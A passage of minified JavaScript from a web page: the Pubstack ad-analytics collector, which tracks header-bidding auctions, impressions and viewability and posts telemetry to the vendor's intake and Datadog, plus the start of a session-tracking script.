onImpressionSas",e);try{const t=this.state.findAuctionByAdUnitPath(e.adUnitPathSuffix);w(t,`onSasNewBidResponse: cannot retrieve related auction, @adUnitName=${e.adUnitName}, @adUnitPath=${e.adUnitPathSuffix}`),e.currency=this.fallbackCurrency,this.forwarder.impressionSasFormatAndForward(e,t.adUnit)}catch(e){V("[pubstackCoreController] error: cannot create impression",e)}}subscribe(e){this.forwarder.subscribe(e)}debug(){const e=[];return this.forwarder.subscribe({onAuction:t=>e.push(t),onImpression:t=>e.push(t)}),{auctions:this.state,auctionsDone:void 0,adUnits:void 0,events:e}}}const mi=(e,t)=>Object.entries(t).every((([t,i])=>typeof i==typeof{}&&typeof e[t]==typeof{}?mi(e[t],i):typeof e[t]==typeof i)),vi=(e,t)=>{if(t)for(let i=0;i<1e3;i+=1)try{const s=e([],{},[i]);try{if(mi(s,t))return s}catch(e){}}catch(e){}},fi=400;const gi={CALL:"call",AD_CALLBACK:"pbstck:ad"};const wi=()=>({toAd(e,t){k(e),w(t,"toAd: id is undefined"),w(e.formatId,"toAd: formatId is undefined"),g(t),function(e,t,i){if(!C(e,t))throw new l(`Expected object to have key '${t}', but not found`)}(e,"formatId");const i="string"==typeof e.size?e.size:"unknown";return{cpm:p(e.cpm)?e.cpm:0,size:i,formatId:p(e.formatId)?e.formatId.toString():e.formatId}}});const yi=new WeakSet;function Ii(e,t,i){const s=e[i.globalName];if(void 0===s||!s.__smartLoaded)return{status:K.NOT_READY};const n=wi(),o=new ii,r=function(e,t){return{on(i,s,n){V("sas.dispatcher",i,s),i===gi.AD_CALLBACK&&t.onAd(e.toAd(s,n))}}}(n,o);t.bindIntegration(o);const a=[];if(yi.has(s))return{status:K.LOADED};yi.add(s);const d=Object.values(gi);return d.forEach((e=>{s.events.on(e,((t,i)=>{const s=de(t);a.push({eventName:e,data:s,id:i});try{r.on(e,s,i)}catch(e){e.context=e.context||{},e.context.adapter={source:"sas:on"},E(e)}}))})),s.events.history().filter((({eventName:e})=>d.includes(e))).map(de).forEach((({eventName:e,data:t,id:i})=>{const s=de(t);a.push({eventName:e,data:s,id:i});try{r.on(e,t,i)}catch(e){e.context=e.context||{},e.context.adapter={source:"sas:replayed"},E(e)}})),{status:K.LOADED,instance:{debug:()=>({events:a})}}}function ki(e,t){return"object"==typeof t&&t instanceof Set?Array.from(t):t}function Ci(e,t){return"tags"!==e&&"sizes"!==e||!Array.isArray(t)?t:new Set(t)}class Ai{constructor(e){this.coreEvents=[],this.errors=[],e.forwarder.coreAuctionStream.subscribe((e=>this.addEvent(e))),e.forwarder.coreImpressionStream.subscribe((e=>this.addEvent(e)))}addEvent(e){this.coreEvents.push(e)}addError(e){this.errors.push(e)}getEvents(){return this.coreEvents.map((e=>JSON.parse(JSON.stringify(e,ki),Ci)))}getErrors(){return this.errors}}const Ri=e=>{var t;const i=null!==(t=null==e?void 0:e.host)&&void 0!==t?t:"unknown";return i.startsWith("www.")?i.substring(4):i},Ti=e=>{let t;return t=e&&e.protocol&&e.host&&e.pathname?`${e.protocol}//${e.host}${e.pathname}`:"unknown",t};class Si{constructor(e,t,i){this.url=e,this.context=i,this.sender=t}buildUrl(e){return`${this.url}?sId=${this.context.scopeId.substring(0,8)}&tId=${this.context.tagId}&c=${e}&ctr=${this.context.country}`}send(e){const t=e.map((e=>Ei(e,this.context)));this.sender(this.buildUrl(t.length),t)}}const Ei=(e,t)=>Object.assign(Object.assign(Object.assign({},e),t),{domain:Ri(window.location),href:Ti(window.location)});function Ui(e){var t;const i="pbstck_context";let s=null===(t=ci(i).find((e=>"pbstck_ab_test"===ui(e.name,i))))||void 0===t?void 0:t.content;return s&&!e.includes(s)&&(s=void 0),s}const ji=20;function xi(){const e="pbstck",t=new Map;ci(e).forEach((i=>{const s=ui(i.name,e);t.has(s)&&q(`Custom dim ${s} is present many times`),t.size<ji?t.set(s,i.content):q(`Skipping custom dim ${s} with ${i.content}: limit of ${ji} keys exceeded`)}));const i=Object.assign({},...Array.from(t.entries()).map((([e,t])=>({[e]:t}))));return t.size>0&&V("Custom dim found :",i),i}class Bi{constructor(e,t,i,s,n){var o;this.items=[],this.url=e,this.buffer=null!==(o=null==n?void 0:n.buffer)&&void 0!==o?o:Bi.defaults.buffer,this.sender=t,this.context=i,this.abTestValues=s}buildUrl(){const e=this.context.customFields["kleanads-version"],t=document.querySelector('meta[name="pbstck:config-version"]'),i=null==t?void 0:t.content,s=this.items.reduce(((e,t)=>e+(t.pubstackRefresh?1:0)),0),n=e?`&v=${e}&s=${i}`:"",o=s>0?`&rc=${s}`:"";return`${this.url}?tId=${this.context.tagId}&c=${this.items.length}${n}${o}`}batchThenSend(e,t=!0){const i=t?Ni(e,this.context,this.abTestValues):e;if(this.items.push(i),0===this.buffer)return this.flush();1===this.items.length&&setTimeout((()=>this.flush()),this.buffer)}flush(){0!==this.items.length&&(this.sender(this.buildUrl(),[...this.items]),this.reset())}reset(){this.items=[]}}Bi.defaults={buffer:150};const Ni=(e,t,i)=>{var s;const{customFields:n}=e,{customFields:o}=t,r=xi(),a=null===(s=navigator.connection)||void 0===s?void 0:s.effectiveType,d=Object.assign(Object.assign(Object.assign(Object.assign({},n),o),r),{windowWidth:window.innerWidth.toString(),windowHeight:window.innerHeight.toString()});return Object.assign(Object.assign(Object.assign({},e),t),{customFields:d,abTestPopulation:i?Ui(i):void 0,domain:Ri(window.location),href:Ti(window.location),networkConnectionEffectiveType:a,pageId:window.__pbstck_page_id||"unknown",kleanAdsStackVersion:d["config-version"],kleanAdsStackId:d["kleanads-stack-id"]})},Oi=d();class Vi{constructor(e,t,i,s,n){const o=e.slice(0,-7);this.viewabilityGateway=new Bi(`${e}/viewability`,qi,t,n),this.auctionGateway=new Bi(`${e}/auction`,qi,t,n),this.impressionGateway=new Bi(`${e}/impression`,qi,t,n),this.errorGateway=new Bi(`${e}/error`,qi,t,n),this.traceGateway=new Bi(`${o}/trace`,qi,t,void 0,{buffer:5e3}),this.measuredImpressionGateway=new Bi(`${e}/measured`,qi,t,n),this.measuredImpressionBeaconGateway=new Si(`${e}/measured`,$i,t),this.pageGateway=new Bi(`${e}/page`,qi,t,n),this.bindController(i,s)}bindController(e,t){e.forwarder.coreAuctionStream.subscribe((e=>this.formatAndForwardAuction(e))),e.forwarder.coreImpressionStream.subscribe((e=>{this.formatAndForwardImpression(e)})),void 0!==t&&(t.viewabilityStream.subscribe((e=>{this.formatAndForwardViewability(e)})),t.viewedStream.subscribe((e=>{this.formatAndForwardMeasuredImpression(e)})),t.onUnload((e=>this.formatAndForwardMeasuredImpressionForBeacon(e))))}formatAndForwardAuction(e){const t=[];e.bidRequests.forEach((e=>{t.push({bidId:ee(e),bidderCode:e.bidderCode,state:e.state,source:e.source,tags:0===e.tags.size?void 0:Array.from(e.tags),cpm:Z(e)?e.cpm:void 0,currency:Z(e)?e.currency:void 0,size:Z(e)?e.size:void 0,customFields:e.customFields,timeToRespond:e.timeToRespond,rejectionReason:e.rejectionReason,dealId:Z(e)?e.dealId:void 0,advertiserDomains:Z(e)?e.advertiserDomains:void 0,bidNetRevenue:Z(e)?e.bidNetRevenue:void 0,adapterCode:e.adapterCode})}));const i=void 0===e.userConsentState?"notAvailable":e.userConsentState,s=void 0===e.userConsentVersion?"notAvailable":e.userConsentVersion,n={auctionId:e.auctionId,adUnit:e.adUnit.name,adUnitPath:e.adUnit.path,sizes:Array.from(e.sizes),tags:0===e.tags.size?void 0:Array.from(e.tags),refresh:e.refresh,userConsentState:i,userConsentVersion:s,hasUserId:e.hasUserId,userIdProviderList:e.userIdProviderList,pbjsVersion:e.pbjsVersion,bidRequests:t,pubstackManaged:!1,pubstackRefresh:e.pubstackRefresh,pubstackRefreshRank:e.pubstackRefreshRank,customFields:e.customFields,duration:e.duration,timeout:e.timeout};this.auctionGateway.batchThenSend(n)}formatAndForwardImpression(e){const t={bidId:e.bidId,auctionId:e.auctionId,lastAuctionId:e.lastAuctionId,adUnit:e.adUnit.name,adUnitPath:e.adUnit.path,bidderCode:e.bidderCode,cpm:e.cpm,currency:e.currency,refresh:e.refresh,size:e.size,userConsentState:e.userConsentState,userConsentVersion:e.userConsentVersion,hasUserId:e.hasUserId,userIdProviderList:e.userIdProviderList,pbjsVersion:e.pbjsVersion,cpmUplift:e.cpmUplift,dealId:e.dealId,advertiserDomains:e.advertiserDomains,tags:Array.from(e.tags),viewabilityMeasurable:e.viewabilityMeasurable,pubstackManaged:!1,pubstackRefresh:e.pubstackRefresh,pubstackRefreshRank:e.pubstackRefreshRank,customFields:e.customFields,bidNetRevenue:e.bidNetRevenue,source:e.source,adapterCode:e.adapterCode};this.impressionGateway.batchThenSend(t)}formatAndForwardViewability(e){const t={bidId:e.bidId,auctionId:e.auctionId,lastAuctionId:e.lastAuctionId,adUnit:e.adUnit.name,adUnitPath:e.adUnit.path,bidderCode:e.bidderCode,pbjsVersion:e.pbjsVersion,cpm:e.cpm,currency:e.currency,size:e.size,refresh:e.refresh,htmlElementId:e.htmlElementId,mrcViewable:!0,pubstackManaged:!1,pubstackRefresh:e.pubstackRefresh,pubstackRefreshRank:e.pubstackRefreshRank};this.viewabilityGateway.batchThenSend(t)}formatAndForwardMeasuredImpression(e){const t={bidId:e.bidId,auctionId:e.auctionId,lastAuctionId:e.lastAuctionId,adUnit:e.adUnit.name,adUnitPath:e.adUnit.path,bidderCode:e.bidderCode,cpm:e.cpm,currency:e.currency,refresh:e.refresh,size:e.size,pbjsVersion:e.pbjsVersion,viewedTime:e.viewedTime,pubstackManaged:!1,pubstackRefresh:e.pubstackRefresh,pubstackRefreshRank:e.pubstackRefreshRank};this.measuredImpressionGateway.batchThenSend(t)}formatAndForwardMeasuredImpressionForBeacon(e){const t=e.map((e=>({bidId:e.bidId,auctionId:e.auctionId,lastAuctionId:e.lastAuctionId,adUnit:e.adUnit.name,adUnitPath:e.adUnit.path,bidderCode:e.bidderCode,cpm:e.cpm,currency:e.currency,refresh:e.refresh,size:e.size,pbjsVersion:e.pbjsVersion,viewedTime:e.viewedTime,pubstackManaged:!1,pubstackRefresh:e.pubstackRefresh,pubstackRefreshRank:e.pubstackRefreshRank})));this.measuredImpressionBeaconGateway.send(t)}sendError(e){this.errorGateway.batchThenSend(e)}sendLog(e){this.traceGateway.batchThenSend(e,!1)}sendToDatadog(e){var t;if(void 0===e.error||""===e.error)return;const i=e.error,s=null!==(t=e.context)&&void 0!==t?t:{};k(s),g(i);const n=Object.assign(Object.assign({pageId:Oi,status:"error",domain:Ri(window.location),href:Ti(window.location)},s),{message:i}),o=new XMLHttpRequest;o.open("POST","https://browser-http-intake.logs.datadoghq.com/v1/input/pub551f730416e5317842afc2792691e95c?ddsource=browser&ddtags=version:1.3.2",!0),o.setRequestHeader("Content-Type","text/plain"),o.send(JSON.stringify(n))}}const qi=(e,t)=>{const i=new XMLHttpRequest;i.open("POST",e,!0),i.setRequestHeader("Content-Type","text/plain"),i.send(JSON.stringify(t)),V("post",e,t)},$i=(e,t)=>{const i=JSON.stringify(t);navigator.sendBeacon(e,i),V("beacon",e,t)};class Di{constructor(e){this.adUnit=e}visibilityRatioFromIntersection(e){const t=zi(this.adUnit,this.adUnit);if(this.adUnit===t)return e.intersectionRatio;const i=t.getBoundingClientRect();return e.intersectionRect.height/i.height}}const zi=(e,t)=>(Fi(e)<Fi(t)&&(e=t),Array.from(t.children).filter((e=>e instanceof HTMLElement)).forEach((t=>{e=zi(e,t)})),e),Fi=e=>e.getBoundingClientRect?e.getBoundingClientRect().height:0;class Mi{constructor(){this.state="new",this.elapsedTime=0,this.timeTargets=[]}start(){return"stopped"===this.state&&(this.elapsedTime=0),"started"===this.state?this.elapsed():(this.state="started",this.timeoutId=setTimeout((()=>this.update()),Mi.pacing),this.elapsedTime)}pause(){if("paused"===this.state||"stopped"===this.state)return this.elapsedTime;const e=this.update();return this.state="paused",e}stop(){if("stopped"===this.state)return this.elapsedTime;const e=this.update();return this.state="stopped",e}elapsed(){return"started"===this.state&&this.update(),this.elapsedTime}timeTargetReached(e){return new Promise((t=>{this.timeTargets.push([e,t])}))}update(){let e=Mi.pacing;if("started"===this.state){this.elapsedTime+=e;for(let t=this.timeTargets.length;t--;){const[i,s]=this.timeTargets[t];this.elapsedTime>=i?(s(i),this.timeTargets.splice(t,1)):e=Math.min(e,i-this.elapsedTime)}}return"stopped"!==this.state&&(this.timeoutId&&clearTimeout(this.timeoutId),this.timeoutId=setTimeout((()=>this.update()),e)),this.elapsedTime}}Mi.pacing=100;class _i{constructor(e,t,i,s,n){this.creative=s,this.timer=new Mi,this.inViewPercentage=e,this.cumulative=i,this.timer.timeTargetReached(t).then((()=>{n()}))}pauseTimer(){this.timer.pause()}startTimer(){this.timer.start()}stopTimer(){this.timer.stop()}getElapsed(){return this.timer.elapsed()}isViewable(){return this.inView}intersectionChange(e){this.creative.visibilityRatioFromIntersection(e)>=this.inViewPercentage?this.inView||(this.timer.start(),this.inView=!0):this.inView&&(this.cumulative?this.timer.pause():this.timer.stop(),this.inView=!1)}getTimerState(){return this.timer.state}}const Pi={root:null,rootMargin:"0px",threshold:[0,.3,.5,1]};class Wi{constructor(e,t,i){this.windowActive=!0,this.pbstckWindow=i,this.visibilityState=i.document.visibilityState,this.trackedOnFocusChange=this.onFocusChange.bind(this),i.addEventListener("focus",this.trackedOnFocusChange),i.addEventListener("blur",this.trackedOnFocusChange),this.trackedOnVisibilityChange=this.onVisibilityChange.bind(this),i.addEventListener("visibilitychange",this.trackedOnVisibilityChange);const s=this.getObserverThresholds(t);this.observer=new IntersectionObserver((e=>this.intersectionObserverCallback(e)),s),this.observer.observe(e);const n=new Di(e);this.computer=new _i(t.minPercentageInView,t.minTimeInView,t.cumulativeTimer,n,(()=>t.completionCallback(e.id))),"hidden"!==this.visibilityState&&this.windowActive||this.stop()}getObserverThresholds(e){return.3===e.minPercentageInView?Object.assign(Object.assign({},Pi),{threshold:[.3,.5,.75,1]}):Object.assign(Object.assign({},Pi),{threshold:[.5,.75,1]})}onVisibilityChange(){this.visibilityState="visible"===this.visibilityState?"hidden":"visible",this.checkWindowActive()}onFocusChange(e){this.windowActive="focusin"===e.type||"focus"===e.type,this.checkWindowActive()}checkWindowActive(){"visible"===this.visibilityState&&this.windowActive?this.start():this.pause()}destroy(){var e;this.stop(),null===(e=this.observer)||void 0===e||e.disconnect(),this.pbstckWindow.removeEventListener("visibilitychange",this.trackedOnVisibilityChange),this.pbstckWindow.removeEventListener("focus",this.trackedOnFocusChange),this.pbstckWindow.removeEventListener("blur",this.trackedOnFocusChange),this.computer=null,this.observer=null}getElapsed(){return null===this.computer?0:this.computer.getElapsed()}pause(){var e;null===(e=this.computer)||void 0===e||e.pauseTimer()}start(){var e;null===(e=this.computer)||void 0===e||e.startTimer()}stop(){var e;null===(e=this.computer)||void 0===e||e.stopTimer()}intersectionObserverCallback(e){e.forEach((e=>{var t;null===(t=this.computer)||void 0===t||t.intersectionChange(e)}))}getTimerState(){var e;return null===(e=this.computer)||void 0===e?void 0:e.getTimerState()}}const Li={viewableTime:1e3,largeAdunitSize:242e3,largeAdunitTreshold:.3,standardAdunitTreshold:.5};class Gi{constructor(e,t){this.viewabilityState=new Map,this.viewedTimeState=new Map,this.elementIdToCode=new Map,this.viewabilityStream=new c,this.viewedStream=new c,V("[pubstackViewability] Create ViewabilityController with config",Li),this.pbstckWindow=t,this.pbstckWindow.addEventListener("unload",(()=>this.unloadMeasuredImpressions())),e.forwarder.coreImpressionStream.subscribe((e=>{V("[pubstackViewability] Receive impression",e.bidderCode,e.adUnit.code),this.track(e)})),e.forwarder.coreAuctionStream.subscribe((e=>{V("[pubstackViewability] Receive auctionend",e.adUnit.code),this.endMeasure(e.adUnit.code)}))}onUnload(e){this.unloadCallback=e}endMeasure(e){V("[pubstackViewability] receive event to stop measure");const t=this.viewedTimeState.get(e);void 0!==t?(t.viewabilitytracker.stop(),this.onMeasurable(e)):V("[pubstackViewability] event received but no tracker to stop, skipping")}track(e){if(!e.viewabilityMeasurable)return void V("[pubstackViewability] Cannot track impression for adUnit ",e.adUnit);const t=ai(e.adUnit);null!==t?(this.trackViewability(e,t),this.trackMeasure(e,t)):E(new Error(`[pubstackViewability] Unexpected null HTML Element on viewable impression for adUnit ${e.adUnit.name}`))}trackMeasure(e,i){return t(this,void 0,void 0,(function*(){var t;let s=null===(t=this.viewedTimeState.get(e.adUnit.code))||void 0===t?void 0:t.viewabilitytracker;this.elementIdToCode.set(i.id,e.adUnit.code),void 0!==s&&(V(`[pubstackViewability] replacing existing measurability tracker on ${i.id}`),s.stop(),this.onMeasurable(e.adUnit.code)),V(`[pubstackViewability] tracking code ${e.adUnit.code} with rule MRC for measurability`);const n={minPercentageInView:this.minPercentageInView(i,Li),minTimeInView:18e4,cumulativeTimer:!0,completionCallback:e=>{const t=this.elementIdToCode.get(e);void 0!==t?this.onMeasurable(t):V(`[pubstackViewability] unable to find matching adunitcode for element ${e}`)}};s=new Wi(i,n,this.pbstckWindow),this.viewedTimeState.set(e.adUnit.code,{impression:e,viewabilitytracker:s})}))}trackViewability(e,i){return t(this,void 0,void 0,(function*(){var t;let s=null===(t=this.viewabilityState.get(i.id))||void 0===t?void 0:t.viewabilitytracker;void 0!==s&&(V(`[pubstackViewability] replacing existing tracker on ${i.id}`),s.destroy(),this.viewabilityState.delete(i.id)),V(`[pubstackViewability] tracking element ${i.id} with rule MRC for monitoring`);const n={minPercentageInView:this.minPercentageInView(i,Li),minTimeInView:Li.viewableTime,cumulativeTimer:!1,completionCallback:e=>this.onViewable(e)};s=new Wi(i,n,this.pbstckWindow),this.viewabilityState.set(i.id,{impression:e,viewabilitytracker:s})}))}minPercentageInView(e,t){const i=window.getComputedStyle(e);return Number(i.getPropertyValue("width").replace(/px/,""))*Number(i.getPropertyValue("height").replace(/px/,""))>t.largeAdunitSize?t.largeAdunitTreshold:t.standardAdunitTreshold}unloadMeasuredImpressions(){if(V("[pubstackViewability] page unloaded, forwarding impressions measured"),void 0!==this.unloadCallback){const e=[];Array.from(this.viewedTimeState.values()).forEach((t=>{if(void 0!==t.viewabilitytracker){t.viewabilitytracker.stop();const i=Math.floor(t.viewabilitytracker.getElapsed()/1e3);i>0&&e.push({bidId:t.impression.bidId,auctionId:t.impression.auctionId,lastAuctionId:t.impression.lastAuctionId,adUnit:t.impression.adUnit,bidderCode:t.impression.bidderCode,pbjsVersion:t.impression.pbjsVersion,cpm:t.impression.cpm,currency:t.impression.currency,refresh:t.impression.refresh,size:t.impression.size,viewedTime:i,pubstackRefresh:t.impression.pubstackRefresh,pubstackRefreshRank:t.impression.pubstackRefreshRank})}})),e.length>0&&this.unloadCallback(e)}}onMeasurable(e){V(`[pubstackViewability] Measurability Event on AdUnit code ${e}`);const t=this.viewedTimeState.get(e);if(void 0===t)return void E(new Error(`[pubstackViewability] Impression not found for AdUnit code ${e}`));this.viewedTimeState.delete(e);if(Math.floor(t.viewabilitytracker.getElapsed()/1e3)>0){const e=t.impression,i={bidId:e.bidId,auctionId:e.auctionId,lastAuctionId:e.lastAuctionId,adUnit:e.adUnit,bidderCode:e.bidderCode,pbjsVersion:e.pbjsVersion,cpm:e.cpm,currency:e.currency,refresh:e.refresh,size:e.size,viewedTime:Math.floor(t.viewabilitytracker.getElapsed()/1e3),pubstackRefresh:e.pubstackRefresh,pubstackRefreshRank:e.pubstackRefreshRank};V(`[pubstackViewability] Forwarding measured impression on code ${e.adUnit.code}`),this.viewedStream.next(i)}t.viewabilitytracker.destroy()}onViewable(e){V(`[pubstackViewability] Viewability Event on element ${e}`);const t=this.viewabilityState.get(e);if(void 0===t)return void E(new Error(`[pubstackViewability] Impression not found for ElementId ${e}`));this.viewabilityState.set(e,t);const i=t.impression,s={bidId:i.bidId,auctionId:i.auctionId,lastAuctionId:i.lastAuctionId,adUnit:i.adUnit,bidderCode:i.bidderCode,pbjsVersion:i.pbjsVersion,cpm:i.cpm,currency:i.currency,refresh:i.refresh,size:i.size,htmlElementId:e,pubstackRefresh:i.pubstackRefresh,pubstackRefreshRank:i.pubstackRefreshRank};V(`[pubstackViewability] Forwarding viewable impression ${s.htmlElementId}`),this.viewabilityStream.next(s)}}const Hi=()=>{const e=navigator.userAgent;return/(tablet|ipad|playbook|silk)|(android(?!.*mobi))/i.test(e)?"tablet":/Mobile|iP(hone|od)|Android|BlackBerry|IEMobile|Kindle|Silk-Accelerated|(hpw|web)OS|Opera M(obi|ini)/.test(e)?"mobile":"desktop"};function Ji(e,i,s){var n;e.pbstck=e.pbstck||{lock:{}},e.pbstck.lock=e.pbstck.lock||{},e.pbstck.scopeId=s.scopeId,e.pbstck.tagId=s.tagId;const o={},r=`${s.tagId}@${i.gateway}@collector`;if(function(e,t){return e[t]}(e.pbstck.lock,r))return;!function(e,t){e[t]=!0}(e.pbstck.lock,r);const a=new hi;let d;o.core=a,i.viewabilityEnabled&&(d=new Gi(a,e),o.viewability=d);const c=new Vi(i.gateway,s,a,d,i.abTestValues);var u;o.intake=c,T((e=>c.sendError(e)),1),u=e=>{i.logsEnabled.includes(e.id)&&c.sendLog(e)},ue.subscribe(u),function(e){R.subscribe(e)}((e=>c.sendToDatadog(e)));const l=new Promise(((s,n)=>{if(i.pbjsVariableName){V("Prebid dropin mode",i.pbjsVariableName);const r={debug:O(),globalName:i.pbjsVariableName},d=function(e,t){return e[t.globalName]||(e[t.globalName]={}),e[t.globalName].que||(e[t.globalName].que=[]),e[t.globalName].que}(e,r);d.push((()=>t(this,void 0,void 0,(function*(){var t,i;const d=e[r.globalName],c=null!==(t=Number(d.getConfig("timeoutBuffer")))&&void 0!==t?t:fi,u=null===(i=d.getConfig("currency"))||void 0===i?void 0:i.adServerCurrency;let l;h(u)&&(l=u);const b=new re({version:d.version,gracePeriod:c,adServerCurrency:l,pbjsVariableName:r.globalName});o.prebid=b;try{o.prebid=function(e,t,i,s){const n=e[s.globalName];i.bindIntegration(t);const o=le(ve(),t);let r;if(null!=n.getEvents)V("[pbjsIntegration] retrieve pbjs events using getEvents on public API"),r=n.getEvents;else{V("[pbjsIntegration] retrieve pbjs events using chunk");const t=e[`${s.globalName}Chunk`];if(void 0===t)throw new Error("[pbjsIntegration] unable to find pbjs chunk");const i=vi(t,{on:Function,getEvents:Function});if(void 0===i)throw new Error("[pbjsIntegration] unable to use event handler on adapter");r=i.getEvents}return Object.values(ce).forEach((e=>{n.onEvent(e,(t=>{var i;try{o.on(e,t)}catch(s){$("[pbjsIntegration] Error on event "+e+": "+s.message,t),S({context:Object.assign(Object.assign({},null!==(i=s.context)&&void 0!==i?i:{}),{adapter:{version:n.version,source:"pbjs:on"}}),message:s.message})}}))})),r().forEach((({eventType:e,args:t})=>{var i;try{o.on(e,t)}catch(s){$("[pbjsIntegration] Error on event "+e+": "+s.message,t),S({context:Object.assign(Object.assign({},null!==(i=s.context)&&void 0!==i?i:{}),{adapter:{version:n.version,source:"pbjs:replayed"}}),message:s.message})}})),t}(e,b,a,r),s()}catch(e){return $("Unable to load pbjs integration due to",e),void n()}}))))}}));let b,p=[];if(i.smartEnabled||i.debug){const t={debug:O(),globalName:"sas"};p=function(e,t){return e[t.globalName]||(e[t.globalName]={}),e[t.globalName].cmd||(e[t.globalName].cmd=[]),e[t.globalName].cmd}(e,t),p.push((()=>{b=Ii(e,a,t).instance}))}const m={tagId:s.tagId,globalQueue:i.sdk.globalQueue},v=ge(e,a,m);if(v.dispatchEvents(),i.debug||O()){a.subscribe({onAuction:e=>V("controller.onAuction",e),onImpression:e=>V("controller.onImpression",e)});const t=new Ai(a);o.debug=t,T((e=>t.addError(e)),1e3),e.pbstck.debug=e.pbstck.debug||{},e.pbstck.debug[r]={getEvents:()=>t.getEvents(),getErrors:()=>t.getErrors(),sdk:null!==(n=null==v?void 0:v.debug())&&void 0!==n?n:void 0},(i.smartEnabled||i.debug)&&p.push((()=>{b&&(e.pbstck.debug[r].sas=b.debug())}))}return Promise.resolve().finally(),e.pbstck.controllers=e.pbstck.controllers||{},e.pbstck.controllers[`${i.gateway}@collector`]=o,l.then((()=>{e.dispatchEvent(new Event(we(`${i.gateway}@collector`,"pubstackMonitoringReady")))})),a}e.bootPubstack=Ji,e.pubstackAutoconfig=function(e){var i,s,n,o;const r={gateway:null===(i=e.endpoint)||void 0===i?void 0:i.gateway,sdk:{globalQueue:"pbstckQ"},debug:!0===e.debug,viewabilityEnabled:e.viewabilityEnabled,smartEnabled:null!==(s=e.smartEnabled)&&void 0!==s&&s,refreshConfigurationUrl:null!==(n=e.refreshConfigurationUrl)&&void 0!==n?n:"",pbjsVariableName:e.pbjsVariableName||"pbjs",abTestValues:e.abTestValues,logsEnabled:e.logsEnabled||[]};if(void 0===r.gateway)return;const a=new ti(navigator.userAgent),d=a.getOS(),c=a.getBrowser(),u={tagId:e.tagId,scopeId:e.scopeId,country:e.country,device:Hi(),browserName:c.name,browserVersion:c.major,osName:d.name,osVersion:d.version,pbstckVersion:null!==(o="e8794bc")?o:"unknown",customFields:xi()};u.customFields.kleanadsDefaultDevice=window.innerWidth<768?"mobile":"desktop",t(void 0,void 0,void 0,(function*(){try{return navigator&&navigator.cookieDeprecationLabel&&navigator.cookieDeprecationLabel.getValue&&(yield navigator.cookieDeprecationLabel.getValue())||void 0}catch(e){V("Error while getting cookie depreciation label",e)}})).then((e=>{e&&(u.customFields.cdep=e)})),u.tagId&&u.scopeId&&Ji(window,r,u)}}(this.collector=this.collector||{});
;
 return this;}.bind({}); var _ = load();_.collector.pubstackAutoconfig({"endpoint":{"script":"https://cdn.pbstck.com/collector-e8794bc.js","gateway":"https://intake.pbstck.com/v1/intake"},"scopeId":"09fe7e10-8d2e-4ff3-9184-bb2e71f2ab74","tagId":"35f9d12f-848e-402e-9a86-f9ddb67d897c","viewabilityEnabled":true,"refreshEnabled":false,"smartEnabled":false,"pbjsVariableName":"pbjs_hbagencyicd","abTestValues":["hbagencyPbs","hbagencyPbc"]}); })()</script><script type="text/javascript">(function() { var load = function() {!function(e){"use strict";const t=/pbstck:debug/.test(window.location.href),i=!!window.localStorage.getItem("pbstck"),n=(e,n,...o)=>{(t||i)&&console[e](`[pbstckUserSessions-undefined] [${performance.now().toFixed(2)}] ${n}`,...o.length?o:"")},o=(e,...t)=>{n("warn",e,...t)},r=(e,...t)=>{n("log",e,...t)},a=(e,...t)=>{n("error",e,...t)},s=["pbstck:","pbstck_context:"],c=()=>{const e=document.getElementsByTagName("meta"),t=Array.from(e).filter((e=>d(s,e.name))),i=new Map;t.forEach((e=>{const t=u(e.name);i.has(t)&&o(`Custom dim ${t} is present many times`),i.size<20?i.set(t,e.content):o(`Skipping custom dim ${t} with ${e.content}: limit of 20 keys exceeded`)}));const n=Object.assign({},...Array.from(i.entries()).map((([e,t])=>({[e]:t}))));return i.size>0&&r("Custom dim found :",n),n},u=e=>e.replace(/^\w+:/,""),d=(e,t)=>e.some((e=>t.startsWith(e)));var l,p;!function(e){e.HISTORY_MUTATION="_pbstck_historyMutation",e.NEW_PAGE="_pbstck_pageView",e.SESSION_TRACKING_AUTHORIZED="_pbstck_sessionTrackingAuthorized",e.SESSION_TRACKING_DECLINED="_pbstck_sessionTrackingDeclined"}(l||(l={})),function(e){e.REPLACE_STATE="replaceState",e.PUSH_STATE="pushState"}(p||(p={}));const w=e=>{window.history[e]=new Proxy(window.history[e],{apply(t,i,n){const o=window.location.href,r=t.apply(i,n),a=new CustomEvent(l.HISTORY_MUTATION,{detail:{referrer:o,stateObj:n[0],title:n[1],url:n[2],type:e}});return dispatchEvent(a),r}})};for(var m,f=[],b=0;b<256;++b)f.push((b+256).toString(16).slice(1));var h=new Uint8Array(16);function g(){if(!m&&!(m="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return m(h)}var v={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};function y(e,t,i){if(v.randomUUID&&!t&&!e)return v.randomUUID();var n=(e=e||{}).random||(e.rng||g)();return n[6]=15&n[6]|64,n[8]=63&n[8]|128,function(e,t=0){return(f[e[t+0]]+f[e[t+1]]+f[e[t+2]]+f[e[t+3]]+"-"+f[e[t+4]]+f[e[t+5]]+"-"+f[e[t+6]]+f[e[t+7]]+"-"+f[e[t+8]]+f[e[t+9]]+"-"+f[e[t+10]]+f[e[t+11]]+f[e[t+12]]+f[e[t+13]]+f[e[t+14]]+f[e[t+15]]).toLowerCase()}(n)}const k=e=>{window.__pbstck_consent=e},S=e=>{window.__pbstck_session_tracking=e},T=()=>window.__pbstck_consent,E=()=>window.__pbstck_session_tracking,_=e=>{if("string"==typeof e){const t=e.split(/:\/\/(www.)?/g);return t.length<=1?null:t[t.length-1].split("/")[0]}const t=e.hostname;return t.startsWith("www.")?t.substring(4):t};var x;!function(e){e.DEV="dev",e.BETA="beta",e.PROD="prod"}(x||(x={}));class I extends Error{message="unknown session error"}class C extends I{message="session init error"}class A extends I{message="session parse error"}class N extends I{message="session not found error"}class O extends I{message="session obsolete error"}const D=Array(),P=(e,t)=>{const i=e.env===x.PROD?"":`_${e.env}`;return`_pbstck_session_${t.tagId.substring(0,8)}${i}`},L=e=>Date.now()-e>18e5,R=(e,t)=>{try{const n=localStorage.getItem(P(e,t));if(n){const e=JSON.parse(atob(n));if(i=e,D.every((e=>e in i)))return e;throw new A}throw new N}catch(e){if(e instanceof I)throw e;throw new A}var i},U=(e,t)=>{try{const i=R(e,t);return i.pageCount++,localStorage.setItem(P(e,t),btoa(JSON.stringify(i))),i.pageCount}catch(e){if(e instanceof I)throw e;throw new I}},M=(e,t)=>{const i=new 